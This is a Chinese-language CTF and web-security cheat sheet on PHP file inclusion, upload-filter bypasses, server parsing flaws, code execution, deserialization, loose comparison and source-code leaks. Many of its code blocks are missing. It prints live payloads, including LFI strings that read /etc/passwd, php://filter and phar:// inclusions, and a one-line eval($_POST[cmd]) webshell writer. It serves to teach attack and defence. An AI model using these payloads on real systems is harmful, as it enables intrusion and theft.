默认网页根路径:/var/www/html/index.php
;尝试读取/proc/self/cwd/templates/upload.html
文件包含¶
常见的导致文件包含的函数有:
- PHP:
include()
,include_once()
,require()
,require_once()
,fopen()
,readfile()
,file_get_contents()
等 - JSP Servlet:
ava.io.File()
,java.io.FileReader()
等 - ASP:
includefile
,includevirtual
等
当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件时什么类型。
本地文件包含¶
本地文件包含,Local File Inclusion,LFI。
1 |
|
上述代码存在本地文件包含,可用 %00 截断的方式读取 /etc/passwd
文件内容。
-
%00
截断1
?file=../../../../../../../../../etc/passwd%00
需要
magic_quotes_gpc=off
,PHP 小于 5.3.4 有效。 -
路径长度截断
1
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
Linux 需要文件名长于 4096,Windows 需要长于 256。
-
点号截断
1
?file=../../../../../../../../../boot.ini/………[…]…………
只适用 Windows,点号需要长于 256。
远程文件包含¶
远程文件包含,Remote File Inclusion,RFI。
1 |
|
构造变量 basePath
的值。
1 |
|
最终的代码执行了
1 |
|
问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。
利用协议
1 |
|
-
普通远程文件包含
1
?file=[http|https|ftp]://example.com/shell.txt
需要
allow_url_fopen=On
并且allow_url_include=On
。 -
1
?file=php://input
需要
allow_url_include=On
。 -
1
2?file=php://filter/read=convert.base64-encode/resource=index.php ?file=php://filter/read=string.rot13/resource=flag #如果过滤了base64可以用rot13
需要
allow_url_include=On
。 -
打包之后上传,利用phar或者zip协议读
1
2?file=phar://./uploads/1.jpg/shell ?file=zip://./uploads/1.jpg%23shell
-
利用 data URIs
1
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
需要
allow_url_include=On
。 -
利用 XSS 执行
1
?file=http://127.0.0.1/path/xss.php?xss=phpcode
需要
allow_url_fopen=On
,allow_url_include=On
并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。
文件上传¶
文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。
绕过上传检查¶
-
前端检查扩展名
抓包绕过即可。
-
通过
Content-Type
检测文件类型通过代码:
if($_FILES['uploaded']['type'] =="image/jpeg") //获取文件上传的类型
限制上传类型,抓包修改Content-Type
类型,使其符合白名单规则。 -
文件头检查绕过
在一句话木马前面加入GIF89a,然后将木马保存为图片格式。
-
PHP过滤上传后缀
%00
截断,a.php->a.php .jpg->burpsuite(proxy,hex)将空格对应的hex 20修改为00->a.php\0jpg
或a.php%00.jpg->右键Convert selection->URL->URL-decode
。截断条件:PHP版本<5.3.4且magic_quotes_gpc为OFF(当其为ON的时候,所有单引号,双引号,反斜线,NULL字符都会自动加上反斜线进行转义,类似函数:addslashes(), mysql_escape_string(), mysql_real_escape_string())。 -
把
1.php
文件压缩成zip文件,然后改格式为支持上传的类型,比如png(1.php→压缩得到1.zip→重命名→1.png→上传),这样就会上传成功了,记住文件上传成功的路径,接下来输入xxx.com/home.php?fp=phar://uploads/xxx.png/1
,这里phar是读zip文件的,因为你刚开始压缩的是1.php文件,这里的1的后面不用加.php了,因为fp把本地文件包含进来的时候已经加.php了。 -
替换后缀名php为jpg
后缀大小写、双写、特殊后缀如
php5
等。特别地,如果只是从左往右替换第一个php,可以上传文件名为xxx.php.php
,后台仅仅将第一个php替换,因此得到:xxx.jpg.php
。 -
如果不管上传什么格式文件,都会自动添加.jpg后缀,可以怀疑是使用了iconv这个函数进行上传限制。由于
string iconv(string $in_charset , string $out_charset , string $str)
在字符编码转换时可能导致字符串截断。当$str中有一个字符不能被目标字符集所表达时,$str从第一个无效字符开始截断并导致一个 E_NOTICE。 假如服务器端使用:iconv("UTF-8", "gb2312//IGNORE", $str)
(PHP从5.4.0开始,如果不显示指示//IGNORE,字符非法会默认返回FALSE,而不是截断),上传一个xx.php
,抓包将后面空格对应的hex 20改为0x80-0xEF中任意一个,由于0x80-0xEF不是合法的gb2312字符,因此后面的字符(服务器自动加的.jpg)会被截断。 -
文件上传的地方,右键审查元素,修改action为完整路径(因为需要另存为本地文件),然后复制多一个上传“浏览文件元素”:
<input name="FileName" type="FILE" size="25">
,这样会出现两个浏览文件框,另存为本地文件1.html
。第一个选择正常jpg文件,第二个选择木马文件,此时点击上传按钮会将两个文件上传。
利用解析漏洞
常用搭配:PHP + MySQL + Apache
,ASP + Access
,msSQL + IIS
,其中,识别服务器信息方式:
- 审查元素,根据页面Header信息判断
- 第三方平台查询
- 扫描工具获取,如:wwwscan
-
Apache 解析漏洞
- mime.types配置文件定义了Apache能够解析哪些文件类型(白名单),Apache对文件的解析是从右到左开始判断并进行解析,后缀名不在mime.types白名单中,则判断为不能解析的类型,会继续向左进行解析, 如上传文件
phpshell.php.rar.rar.rar.rar
,因为 Apache 不认识.rar
这个文件类型,所以会一直遍历后缀到.php
,然后认为这是一个 PHP 文件。 .htaccess
文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess
文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如果允许上传一个内容为<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch>
的.htaccess
文件,然后再上传文件名包含jpg的木马。此时,Apache通过.htaccess
文件,发现文件名匹配jpg,就会调用php的解析器进行解析。
- mime.types配置文件定义了Apache能够解析哪些文件类型(白名单),Apache对文件的解析是从右到左开始判断并进行解析,后缀名不在mime.types白名单中,则判断为不能解析的类型,会继续向左进行解析, 如上传文件
-
IIS6.0 解析漏洞
- 目录解析漏洞
/xx.asp/xx.jpg
,创建文件夹名字为.asp、.asa
的文件夹,其目录内的任何扩展名的文件都被IIS当做asp文件来解析并执行。 - 当文件名为
abc.asp;xx.jpg
时,会将其解析为abc.asp
。 - IIS6.0默认的可执行文件除了
asp
还包含这三种asa、cer、cdx
。
- 目录解析漏洞
-
IIS7.x和Nginx<8.03以CGI 路径解析PHP
在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo,在本机中位于C:\wamp\bin\php\php5.3.10\php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。 配置如下:
1
2
3
4
5
6
7location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_param; }
- 在正常图片后加
/x.php
,就能将文件解析为PHP,如上传文件test.jpg
,访问地址:test.jpg/x.php
即被当作php文件解析执行。当访问http://www.a.com/path/test.jpg/notexist.php
时,会将test.jpg
当做 PHP 解析,notexist.php
是不存在的文件。 - 上传名字为
xx.jpg
,内容为:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
,然后访问xx.jpg/.php
,在这个目录下就会生成一句话木马shell.php
。
- 在正常图片后加
-
Nginx<8.03空字节代码执行漏洞
上传
xxx.jpg
,访问xxx.jpg%00.php
或者xxx.jpg/%20\0.php
。 -
Windows后缀名解析漏洞
Windows会将文件的后缀中的空格以及点进行过滤,如果遇到是黑名单校验的并且目标系统是Windows,可以上传
xx.php
或者xx.php.
。
命令执行¶
直接执行代码¶
PHP 中有不少可以直接执行代码的函数,如上传一句话木马之后,直接post data:x=phpinfo();
或x=system(ls /);
1 |
|
preg_replace()
代码执行¶
preg_replace()
的第一个参数如果存在 /e
模式修饰符,则允许代码执行。
1 |
|
如果没有 /e
修饰符,可以尝试 %00 截断。
动态函数执行¶
用户自定义的函数可以导致代码执行。
1 |
|
反引号命令执行¶
1 |
|
Curly Syntax¶
PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。
1 |
|
1 |
|
回调函数¶
call_user_func(callback, args...)
很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。
1 |
|
攻击 payload
1 |
|
反序列化¶
1 |
|
复制类到php文件,new一个对象,设置预先设定的属性,调用serialize()
得到序列化字符串。
1 |
|
当类中未定义的私有变量被访问时,会调用魔术函数__get()
。(sample:ezsql-安恒月赛-2018-11)
$a->notexist() #会调用__get()
如果 unserialize()
在执行时定义了 __destruct()
或 __wakeup()
函数,则有可能导致代码执行。
1 |
|
攻击 payload
1 |
|
PHP标准库中直接目录迭代和文件处理的类:
class | introduction |
---|---|
FilesystemIterator | The Filesystem iterator |
SplFileObject | The SplFileObject class offers an object oriented interface for a file. |
DirectoryIterator | provides a simple interface for viewing the contents of filesystem directories |
GlobIterator | Iterates through a file system in a similar fashion to glob(). |
1 |
|
利用phar拓展php反序列化漏洞攻击面
phar文件会以序列化的形式存储用户自定义的meta-data,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,因此可以不依赖unserialize()
直接进行反序列化操作。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件上传,再借助LFI的phar协议,触发文件操作函数进行反序列化,利用条件如下:
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”,一般是
__destruct()
。 - 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
注意:
- 要将php.ini中的
phar.readonly
选项设置为Off
,否则无法生成phar文件。 unserialize
反序列化会先触发__wakeup
再触发__construct
,但是通过phar反序列化不会触发这两个魔术方法。两者都会触发__destruct
。
1 |
|
如果题目限制phar://
不能出现在头几个字符,借助:compress.bzip2
或compress.zlib
:
compress.bzip2://phar:///home/sx/test.phar/test.txt
序列化字符串对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行(CVE-2016-7124)
序列化字符串对象属性个数的值大于真实的属性个数,会导致反序列化失败使得__wakeup
无法被触发,但是随后会继续触发__destruct
。漏洞影响版本:PHP5 < 5.6.25
,PHP7 < 7.0.10
。(sample:DoYouKnowRobots-GXY-CTF-2019)
O:10:"TestObject":1:{s:5:"value";N;}
O代表Object(对应还有A对应Array),10代表对象名字10个字符,1代表对象1个属性(修改此值触发漏洞),s代表string(i代表int),5代表属性名长度,N代表NULL。
XXE(XML External Entity Injection)
1 |
|
变量覆盖¶
全局变量覆盖¶
变量如果未被初始化,且能够用户所控制,那么很可能会导致安全问题。
1 |
|
示例
1 |
|
当 register_globals=ON
时,提交 test.php?auth=1
,auth
变量将自动得到赋值。
extract()
变量覆盖¶
extract()
函数能够将变量从数组导入到当前的符号表,其定义为
1 |
|
其中,第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是 EXTR_OVERWRITE
和 EXTR_SKIP
。
当值为 EXTR_OVERWRITE
时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量;值为 EXTR_SKIP
则表示跳过不覆盖。若第二个参数未指定,则在默认情况下使用 EXTR_OVERWRITE
。
1 |
|
当 extract()
函数从用户可以控制的数组中导出变量时,可能发生变量覆盖。
import_request_variables
变量覆盖¶
1 |
|
import_request_variables
将 GET、POST、Cookies 中的变量导入到全局,使用这个函数只用简单地指定类型即可。
1 |
|
import_request_variables("G")
指定导入 GET 请求中的变量,提交 test.php?auth=1
出现变量覆盖。
parse_str()
变量覆盖¶
1 |
|
parse_str()
函数通常用于解析 URL 中的 querystring,但是当参数值可以被用户控制时,很可能导致变量覆盖。
1 |
|
与 parse_str()
类似的函数还有 mb_parse_str()
。
输出当前进程变量/常量/模块/函数/类
1 |
|
PHP 特性¶
数组¶
1 |
|
php 不会严格检验传入的变量类型,也可以将变量自由的转换类型。
比如在 $a == $b
的比较中
1 |
|
然而,PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系,更加高效的开发,所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。
1 |
|
魔法 Hash¶(sample:web7-掘安杯2019)
1 |
|
在进行==
弱比较运算时,如果遇到了 0e\d+
这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。
如果是===
强比较,则需要:
- 通过
md5(array)=null
来绕过 - 通过
fastcoll
构造相同md5值的不同输入,再通过url编码之后发送
十六进制转换¶
1 |
|
当其中的一个字符串是 0x
开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240
解析成为十进制就是 123456,所以与 int
类型和 string
类型的 123456 比较都是相等。
类型转换¶
常见的转换主要就是 int
转换为 string
,string
转换为 int
。
int
转 string
1 |
|
string
转 int
:intval()
函数。
对于这个函数,可以先看 2 个例子。
1 |
|
说明 intval()
转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串, intval()
不会报错而是返回 0。
同时,程序员在编程的时候也不应该使用如下的这段代码:
1 |
|
这个时候 $a
的值有可能是 1002 union
。
内置函数的参数的松散性¶
内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型。解释起来有点拗口,还是直接通过实际的例子来说明问题,下面会重点介绍几个这种函数。
md5()
1 |
|
string md5 ( string $str [, bool $raw_output = false ] )
,md5()
中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5()
不会报错,只是会无法正确地求出 array 的 md5 值,返回NULL
,这样就会导致任意 2 个 array 的 md5 值都会相等。
strpos()
int strpos(string $haystack , mixed $needle [, int $offset = 0 ])
,返回needle
存在于haystack
字符串起始的位置(独立于 offset)。注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回FALSE。haystack
传入数组时,版本5.3
以前会触发一个 Notice 级的Array to string conversion,返回FALSE,版本5.3
以后会触发一个type mismatch的warning,返回NULL。
strcmp()
strcmp()
函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string $str2 )
,需要给 strcmp()
传递 2 个 string
类型的参数。如果 str1
小于 str2
,返回 -1,相等返回 0,否则返回 1。strcmp()
函数比较字符串的本质是将两个变量转换为 ASCII,然后进行减法运算,然后根据运算结果来决定返回值。
如果传入给出 strcmp()
的参数是数字呢?
1 |
|
preg_match()
preg_match(string $pattern, string $subject)
返回 pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()
在第一次匹配后将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()
返回 FALSE。当匹配超过1000000
字符时会崩溃,返回0。(sample:php-plus-ichunqiu圣诞欢乐赛-2018)。
1 |
|
switch()
如果 switch()
是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:
1 |
|
这个时候程序输出的是 i is less than 3 but not negative
,是由于 switch()
函数将 $i
进行了类型转换,转换结果为 2。
in_array()
在 PHP 手册中, in_array()
函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
,如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle
是否在 $haystack
中。当 strince 的值为 true 时, in_array()
会比较 needls 的类型和 haystack 中的类型是否相同。
1 |
|
可以看到上面的情况返回的都是 true,因为 'abc'
会转换为 0, '1bc'
转换为 1。
array_search()
与 in_array()
也是一样的问题。
寻找源代码备份¶
hg 源码泄露¶
hg init
时会产生 .hg
文件。
Git 源码泄露¶
.git
目录内有代码的变更记录等文件,如果部署时该目录下的文件可被访问,可能会被利用来恢复源代码。
1 |
|
1 |
|
GitHacker(可恢复完整 Git 仓库),仅仅支持Linux
1 |
|
.DS_Store
文件泄露¶
Mac OS 中会包含有 .DS_Store
文件,包含文件名等信息。
1 |
|
网站备份文件¶
管理员备份网站文件后错误地将备份放在 Web 目录下。
常见的后缀名:
1 |
|
SVN 泄露¶
敏感文件:
1 |
|
1 |
|
WEB-INF / web.xml 泄露¶
WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的映射关系。
WEB-INF 主要包含一下文件或目录:
/WEB-INF/web.xml
:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。/WEB-INF/classes/
:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在。jar 文件中。/WEB-INF/lib/
:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数据库驱动 jar 文件。/WEB-INF/src/
:源码目录,按照包名结构放置各个 java 文件。/WEB-INF/database.properties
:数据库配置文件。
通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,在通过反编译 class 文件,得到网站源码。 一般情况,jsp 引擎默认都是禁止访问 WEB-INF 目录的,Nginx 配合 Tomcat 做均衡负载或集群等情况时,问题原因其实很简单,Nginx 不会去考虑配置其他类型引擎(Nginx 不是 jsp 引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改 Nginx 配置文件禁止访问 WEB-INF 目录就好了:
1 |
|
CVS 泄露¶
1 |
|
取回源码
1 |
|